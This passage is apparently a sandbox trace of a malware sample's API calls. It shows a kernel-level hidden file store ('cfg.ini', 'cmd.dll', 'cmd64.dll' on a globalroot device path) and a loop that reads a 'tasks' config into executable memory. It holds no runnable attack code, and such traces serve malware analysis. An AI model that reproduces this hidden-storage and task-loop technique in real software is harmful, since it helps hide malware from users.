FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.857] KeLeaveCriticalRegion () [0124.857] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.857] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.857] KeEnterCriticalRegion () [0124.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.857] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d2000 [0124.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.858] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.858] IdePortDispatch () returned 0x103 [0124.858] KeWaitForMutexObject () returned 0x0 [0124.858] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.858] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.858] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.858] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.858] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.858] IdePortDispatch () returned 0x103 [0124.858] KeWaitForMutexObject () returned 0x0 [0124.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.858] KeLeaveCriticalRegion () [0124.858] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.858] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.859] KeEnterCriticalRegion () [0124.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.859] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.859] KeLeaveCriticalRegion () [0124.859] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.859] KeEnterCriticalRegion () [0124.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.859] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.859] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4960, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.859] KeLeaveCriticalRegion () [0124.859] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.859] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.859] KeEnterCriticalRegion () [0124.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.859] ExFreePoolWithTag (P=0xfffffa8003bf48a0, Tag=0x0) [0124.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.859] KeLeaveCriticalRegion () [0124.859] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.859] ReleaseMutex (hMutex=0xf0) returned 1 [0124.859] Sleep (dwMilliseconds=0x927c0) [0124.873] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.873] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.873] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.874] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.874] KeEnterCriticalRegion () [0124.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.874] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.874] IdePortDispatch () returned 0x103 [0124.874] KeWaitForMutexObject () returned 0x0 [0124.874] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.874] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.874] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.874] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.874] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.874] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf33d0 [0124.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.874] KeLeaveCriticalRegion () [0124.874] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.874] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.874] KeEnterCriticalRegion () [0124.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.874] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.874] KeLeaveCriticalRegion () [0124.874] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.874] KeEnterCriticalRegion () [0124.874] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.874] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.874] IdePortDispatch () returned 0x103 [0124.875] KeWaitForMutexObject () returned 0x0 [0124.875] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.875] KeLeaveCriticalRegion () [0124.875] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.875] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.875] KeEnterCriticalRegion () [0124.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.875] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d7000 [0124.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.875] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.875] IdePortDispatch () returned 0x103 [0124.875] KeWaitForMutexObject () returned 0x0 [0124.875] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.875] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.875] IdePortDispatch () returned 0x103 [0124.875] KeWaitForMutexObject () returned 0x0 [0124.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.875] KeLeaveCriticalRegion () [0124.875] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.876] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.876] KeEnterCriticalRegion () [0124.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.876] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.876] KeLeaveCriticalRegion () [0124.876] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.876] KeEnterCriticalRegion () [0124.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.876] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.876] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.876] KeLeaveCriticalRegion () [0124.876] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.876] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.876] KeEnterCriticalRegion () [0124.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.876] ExFreePoolWithTag (P=0xfffffa8003bf33d0, Tag=0x0) [0124.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.876] KeLeaveCriticalRegion () [0124.876] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.876] ReleaseMutex (hMutex=0xf0) returned 1 [0124.876] Sleep (dwMilliseconds=0x927c0) [0124.890] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.890] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.890] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.890] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.890] KeEnterCriticalRegion () [0124.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.891] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.891] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.891] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.891] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.891] IdePortDispatch () returned 0x103 [0124.891] KeWaitForMutexObject () returned 0x0 [0124.891] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.891] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.891] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.892] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.892] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.892] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3080 [0124.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.892] KeLeaveCriticalRegion () [0124.892] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.892] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.892] KeEnterCriticalRegion () [0124.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.892] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.892] KeLeaveCriticalRegion () [0124.893] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.893] KeEnterCriticalRegion () [0124.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.893] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.893] IdePortDispatch () returned 0x103 [0124.893] KeWaitForMutexObject () returned 0x0 [0124.894] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.894] KeLeaveCriticalRegion () [0124.894] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.894] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.895] KeEnterCriticalRegion () [0124.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.895] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035dc000 [0124.895] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.895] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.895] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.895] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.895] IdePortDispatch () returned 0x103 [0124.895] KeWaitForMutexObject () returned 0x0 [0124.896] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.896] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.896] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.896] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.896] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.896] IdePortDispatch () returned 0x103 [0124.896] KeWaitForMutexObject () returned 0x0 [0124.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.897] KeLeaveCriticalRegion () [0124.897] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.902] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.902] KeEnterCriticalRegion () [0124.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.902] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.902] KeLeaveCriticalRegion () [0124.902] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.902] KeEnterCriticalRegion () [0124.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.902] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.902] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4960, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.902] KeLeaveCriticalRegion () [0124.902] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.902] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.902] KeEnterCriticalRegion () [0124.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.902] ExFreePoolWithTag (P=0xfffffa8003bf3080, Tag=0x0) [0124.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.902] KeLeaveCriticalRegion () [0124.902] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.902] ReleaseMutex (hMutex=0xf0) returned 1 [0124.902] Sleep (dwMilliseconds=0x927c0) [0124.920] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.920] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.920] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.920] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.920] KeEnterCriticalRegion () [0124.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.920] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.920] IdePortDispatch () returned 0x103 [0124.920] KeWaitForMutexObject () returned 0x0 [0124.920] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.920] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.920] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.920] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.921] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.921] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf48a0 [0124.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.921] KeLeaveCriticalRegion () [0124.921] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.921] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.921] KeEnterCriticalRegion () [0124.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.921] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.921] KeLeaveCriticalRegion () [0124.921] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.921] KeEnterCriticalRegion () [0124.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.921] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.921] IdePortDispatch () returned 0x103 [0124.921] KeWaitForMutexObject () returned 0x0 [0124.921] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.921] KeLeaveCriticalRegion () [0124.921] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.921] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.921] KeEnterCriticalRegion () [0124.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.921] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e1000 [0124.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.921] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.921] IdePortDispatch () returned 0x103 [0124.922] KeWaitForMutexObject () returned 0x0 [0124.922] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.922] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.922] IdePortDispatch () returned 0x103 [0124.922] KeWaitForMutexObject () returned 0x0 [0124.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.922] KeLeaveCriticalRegion () [0124.922] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.922] _snprintf (in: _Dest=0xfffff880028cc790, 